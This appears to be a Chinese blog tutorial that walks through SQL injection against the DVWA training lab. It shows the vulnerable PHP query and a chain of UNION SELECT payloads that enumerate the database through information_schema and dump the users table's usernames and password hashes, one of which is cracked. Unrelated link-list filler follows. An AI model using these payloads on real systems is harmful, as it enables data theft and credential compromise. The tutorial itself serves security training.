代码编织梦想

1. 查找注入点

    以dvwa靶场的low级别为例:
123在这里插入图片描述

1.1 判断注入的类型

    判断是否存在注入点并检验是字符型还是数字型
先输入正确的User ID:1,2,3 点 Submit 后,将正常显示信息
在这里插入图片描述
    输入错误的数据,例如9,10,11……结果是不显示(空白)
在这里插入图片描述

  1. 输入1’,出现报错
    在这里插入图片描述
    说明此处是注入点,接受相关参数未经正确处理直接带入数据库进行查询操作。
  2. 通常sql 注入漏洞会被分为2种类型 :数值型字符型
        输入1 and 1 = 2, 因为1=2为假,如果是数值型,按道理来讲页面会出现报错,但页面如下,没有报错
    在这里插入图片描述
        输入1’ and ‘1’ =’2,页面如下,则说明存在字符型注入
    在这里插入图片描述

字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

因此,我们可以猜测(仅是猜测)这里的sql语句应该是:

SELECT (某字段)FROM (某个表)WHERE userid = ‘’;

查看源代码

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    mysqli_close($GLOBALS["___mysqli_ston"]);
}?>

第6行可以看出,语句为

query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

2. 获取字段数(order by 取临界值)

    通过order by看当前表中存在多少列,ORDER BY 语句用于根据指定的列对结果集进行排序。可以这么理解,如访问id=1 order by 3,页面返回与id=1相同的结果,输入id=1 order by 4,页面返回与id=1不同的结果,则字段数为3。

  1. 输入1’ order by 2# ,页面正常显示 (这里的#号是注释符,注释后面的引号)
    在这里插入图片描述
  2. 输入1’ order by 3# ,出现报错页面
    在这里插入图片描述
    这样我们就可以判断查询结果值为两列。

2.1 确定显示的位置(SQL语句查询之后的回显位置)

    输入1’ union select 1,2#
在这里插入图片描述
上图可以看到有两个回显,因此我们可以在回显处1和2中显示我们想要获得的信息

3. 查询当前的数据库,以及版本

注:mysql5以上默认在数据库中存放一个information_schema 的数据库,这个数据库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。

  1. SCHEMATA表存储用户创建的所有数据库的库名,只要记住该表中的字段
    SCHEMA_NAME,这个表中记录了数据库库名。

  2. TABLES表存储用户创建的所有数据库 库名和表名,字段分别为:
    TABLES_SCHEMA和TABLES_NAME

  3. COLUMNS表中存储用户创建的所有数据库的库名、表名、字段名,字段名分别为:
    TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME.

    输入1’ union select version(),database()#
在这里插入图片描述
在回显处,看到了数据库为dvwa,版本是5.5.53

4. 查询数据库中的表

    输入1’ union select table_name,2 from information_schema.tables where table_schema =‘dvwa’#
在这里插入图片描述
    可以看到一个users的表,根据字面意思,里面应该存放的是用户的信息,这是我们想要得到的,所以我们就针对这个users的表继续深入。

5. 查询表中的字段

    输入1’ union select column_name,2 from information_schema.columns where table_name =‘users’#
在这里插入图片描述
可以看到,在users表里面有user和password字段,我们继续尝试查看这两个字段的内容

    输入1’ union Select user,password from users#

在这里插入图片描述

可以看到密码被加密,可以使用相应工具进行解密;这里做个演示,以用户gordonb为例:
在这里插入图片描述
解密结果为abc123
到此成功拿到用户名密码相关信息。

    本站所有文章均为原创,欢迎转载,请注明文章出处:https://blog.csdn.net/weixin_43847838/article/details/109833310。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。*

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_43847838/article/details/109833310

数据库修改-爱代码爱编程

数据库的修改与查询 C#插入数据SQL using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; // 导入一下sql工具包 using System.Data.SqlClient; namespace C

MySQL 的 join 功能弱爆了?-爱代码爱编程

今天我们来学习和吐槽一下 MySQL 的 Join 功能。 关于MySQL 的 join,大家一定了解过很多它的“轶事趣闻”,比如两表 join 要小表驱动大表,阿里开发者规范禁止三张表以上的 join 操作,MySQL 的 join 功能弱爆了等等。这些规范或者言论亦真亦假,时对时错,需要大家自己对 join 有深入的了解后才能清楚地理解。

mysql学习笔记(九)- 增删改查的优化-爱代码爱编程

一、大批量插入数据 当使用load命令导入数据的时候,可以适当的提高导入的速度。对于myisam存储引擎的表可以通过下述方法快速的导入大量的数据。 Alter table tablename disable keys; Loading date Alter table tabename enable keys; 其中disable keys和

Mysql架构与SQL执行流程-爱代码爱编程

Mysql架构与SQL执行流程 1.一条查询sql是如何执行的1.1 通信协议1.1.1 通信类型-同步/异步1.1.2 连接方式-长连接/短连接1.1.3 通信协议1.1.4 通信方式1.2 查询缓存1.3 分析器(Parser & Preprocessor)1.4 优化器(Query Optimizer)1.5 存储引擎1.6 执行引擎

hydd的Linux笔记Day55-爱代码爱编程

Day55 数据导入导出 搜索路径 1)查看搜索路径 安装时服务已经自启动 mysql> show variables like "secure_file_priv"; +------------------+-----------------------+ | Variable_name | Value

Mysql数据库技术-爱代码爱编程

1.数据库MySQL分页时用的语句 使用limit关键字。Select * from 表名 where 条件 limit 开始位置,结束位置。通过动态的改变开始和结束位置的值来实现分页。 2.根据你以往的经验简单叙述一下MYSQL的优化 a、尽可能使用更小的整数类型.(mediumint就比int更合适). b、尽可能的定义字段为not null,除非这个

网络安全工程师演示:黑客是如何进行内网计算机攻防的?【四】-爱代码爱编程

课前声明: 1、本分享仅做学习交流,请自觉遵守法律法规! 2、搜索:Kali 与编程,学习更多网络攻防干货! 3、Kali 与编程每天准时更新,敬请学习和关注! 正文部分 一、背景介绍 Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为

网络安全工程师演示:黑客是如何进行内网计算机攻防的?【三】-爱代码爱编程

课前声明: 1、本分享仅做学习交流,请自觉遵守法律法规! 2、搜索:Kali 与编程,学习更多网络攻防干货! 3、Kali 与编程每天准时更新,敬请学习和关注! 正文部分 一、背景介绍 局域网自然就是局部地区形成的一个区域网络,其特点就是分布地区范围有限,可大可小,大到一栋建筑楼 与相邻建筑之间的连接,小到可以是办公室之间的联系。局域网自身相对其他网络传输

玩转容器安全一 - 虚拟机搭建简易版K8s集群-爱代码爱编程

在虚拟机折腾K8s # Date 2020/11/19 # Operation System: Centos7 # Docker Version: 19.03.13 # Kubernetes Version: 1.19.0 # k8s-master:10.10.10.100 # k8s-node1:10.10.10.101 # k8s-node2:10

网络安全工程师演示:黑客是如何使用Fping主机扫描工具的?-爱代码爱编程

课前声明: 1、本分享仅做学习交流,请自觉遵守法律法规! 2、搜索:Kali 与编程,学习更多网络攻防干货! 3、Kali 与编程每天准时更新,敬请学习和关注! 正文部分 一、背景介绍 局域网自然就是局部地区形成的一个区域网络,其特点就是分布地区范围有限,可大可小,大到一栋建筑楼 与相邻建筑之间的连接,小到可以是办公室之间的联系。局域网自身相对其他网络传输

OpenSSL之九:文本数据库、文件和口令-爱代码爱编程

文本数据库、文件和口令 文本数据库序列号文件随机数文件口令输入方式 文本数据库 文本数据库:以文本的方式记录CA已经签发的证书的状态和摘要信息,它是普通的文本文件,需要时创建并对文本名字和后缀没有特殊的要求。 创建文本数据库的方式: 手动创建运行OpenSSL的Pel脚本CA.pl 管理和读写文本数据库的接口函数目录:crypto\txt_

OSSEC解决IO占满问题-爱代码爱编程

ossec的rootcheck模块出现IO占满引起存储延时,严重影响业务,之前尝试过对IO进行限速。但是指标不治本,看了很多issue之后,发现没有好的解决方案,rootcheck模块,只能设置频率的值。这并不能解决并发问题,所以忍痛之下只能将其关闭掉了。考虑到syscheck模块也有导致IO占满的问题,于是,对其进行了优化。将所有的client作业时间平